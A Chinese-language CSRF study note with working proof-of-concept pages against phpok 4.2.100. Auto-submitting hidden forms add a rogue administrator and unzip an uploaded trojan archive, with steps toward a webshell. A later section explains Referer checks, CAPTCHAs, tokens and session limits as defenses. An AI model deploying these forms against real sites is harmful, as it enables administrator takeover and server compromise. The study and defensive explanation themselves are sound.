csrf学习笔记

时间:2023-12-24 09:56:37

  CSRF全称Cross Site Request Forgery,即跨站点请求伪造。我们知道,攻击时常常伴随着各种各样的请求,而攻击的发生也是由各种请求造成的。

  CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。

  

   CSRF能做的事情大概如下:

  1)篡改目标网站上的用户数据;    
  2)盗取用户隐私数据;
  3)作为其他攻击向量的辅助攻击手法;
  4)传播CSRF蠕虫。

  

(1)版本4.2.100:

在phpok该版本的后台提交如下POST请求可以添加管理员:

 POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com

Cookie: …
(空一行)
id=…&accont=…&pass=…&status=…&if_system=…

由以上http头部可看出,此为添加管理员的请求,只有管理员能够执行。

攻击者可以构造如下页面:

 <html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>

当管理员访问攻击者制作的页面时,此时会通过javascript脚本来生成一个表单对象,来通过表单标签的id属性来调用表单,为表单赋值。

此时添加账户名t.account.value = "wooyun",此时新添加的管理员的名字将成为wooyun。

赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点,此时由于管理员对于被攻击站点已经保存有cookie,则此时会直接添加新的管理员。

攻击发生之前:

csrf学习笔记

管理员在登录的情况下访问攻击者的页面之后,如图:

csrf学习笔记

可以看到,成功添加了一名管理员。

攻击到这里就结束了吗?并没有!攻击者利用CSRF漏洞成功进入了后台,他还要想办法GetShell!

在后台风格管理-创建模板文件的地方添加一个模板,通过抓包改包的方式绕过前端对文件类型的判断(由于判断文件类型是通过前端js,所以可通过抓包改包),如图:

csrf学习笔记

GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html

改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php

可以看到成功添加了.php文件:

csrf学习笔记

然后在编辑文件内容为一句话木马即可:

csrf学习笔记

2)还是4.2.100...

刚才我们是通过CSRF先进入后台,然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样?

phpok的前台可以上传.zip文件,我们把木马文件test.php压缩为test.zip;

注册一个账号,进入修改资料页面;

选择一个正常的图片,截获数据,如图:

csrf学习笔记

csrf学习笔记

然后修改数据,如图:

csrf学习笔记

成功上传.zip文件,记录下文件id号,这里是739。

在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞,演示如图

csrf学习笔记

于是攻击者可以构造如下页面:

 <html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>

管理员登录后台后访问攻击者的页面,如图:

csrf学习笔记

csrf学习笔记

可以看到我们的木马文件已经上传到服务器上了。

这次攻击,我们根本没有进入后台,而是利用一个CSRF漏洞直接就拿到了Webshell,由此可以看出CSRF在某些场景下的威力之大,根本不亚于SQL注入和文件上传这样的漏洞。

CSRF的防御:

首先是“跨域”,我们发现CSRF攻击的请求都是跨域的,针对这一特点,我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下,用户提交的都是站内的请求,其Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段,这也是这种防御方法成立的条件。

不过需要说明的是,有的时候请求并不需要跨域,比如我们后面讲到的结合XSS进行攻击的时候,有的时候甚至没有Referer字段…,这些也是使用这种防御方法的弊病所在。

第二点是“伪造”,这也是CSRF攻击的核心点,即伪造的请求。我们来想一下,攻击者为什么能够伪造请求呢?换句话说,攻击者能够伪造请求的条件是什么呢?纵观之前我们伪造的所有请求,无一例外,请求中所有参数的值都是我们可以预测的,如果出现了攻击者无法预测的参数值,那么将无法伪造请求,CSRF攻击也不会发生。基于这一点,我们有了如下两种防御方法:

  1. 添加验证码;

  2. 使用一次性token

先看看第一种。验证码的核心作用是区分人和机器,而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的,属于机器发出的请求,攻击者无法预知验证码的值,所以使用验证码可以很好地防御CSRF攻击,但毫无疑问,验证码会一定程度地影响用户体验,所以我们要在安全和用户体验之间找到一个平衡点。

再看看第二种方法。所谓token是一段字母数字随机值,我们可以把它理解为一个服务端帮我们填好的验证码!每当我们访问该页面时,服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中,当我们提交表单时,token会作为一个参数提交到服务端进行验证。在这个请求过程中,token的值也是攻击者无法预知的,而且由于同源策略的限制,攻击者也无法使用JavaScript获取其他域的token值,所以这种方法可以成功防御CSRF攻击,也是现在用的最多的防御方式。

但是,需要注意的一点是,token的生成一定要随机,即不能被攻击者预测到,否则这种防御将形同虚设。另外,token如果作为GET请求的参数在url中显示的话,很容易在Referer中泄露。还有更重要的一点:如果在同域下存在XSS漏洞,那么基于token的CSRF防御将很容易被击破,我们后面再说。

除了“跨域”和“伪造”两点,我们还可以注意到CSRF在攻击时间上的特点:CSRF攻击都是在受害者已经完成身份认证之后发生的,这是由CSRF攻击的目的所决定的。基于这一点,我们还可以想出一些缓解CSRF攻击的方法(注意是缓解),比如缩短Session的有效时间等等,可能一定程度上会降低CSRF攻击的成功率。

总结一下上面的防御方法如下:

  1. 验证Referer;(Referer中的来源地址应该是站内的地址。至关重要的一点是,前端的JavaScript无法修改Referer字段)

  2. 使用验证码;(由机器发出请求,验证码不可预测)

  3. 使用CSRF token;(用户拥有令牌token,但是攻击者没有)

  4. 限制Session生命周期。

CSRF token最大弊病:随机性不够好或通过各种方式泄露,此外,在大型的服务中需要一台token生成及校验的专用服务器,需要更改所有表单添加的字段,有时效性的问题。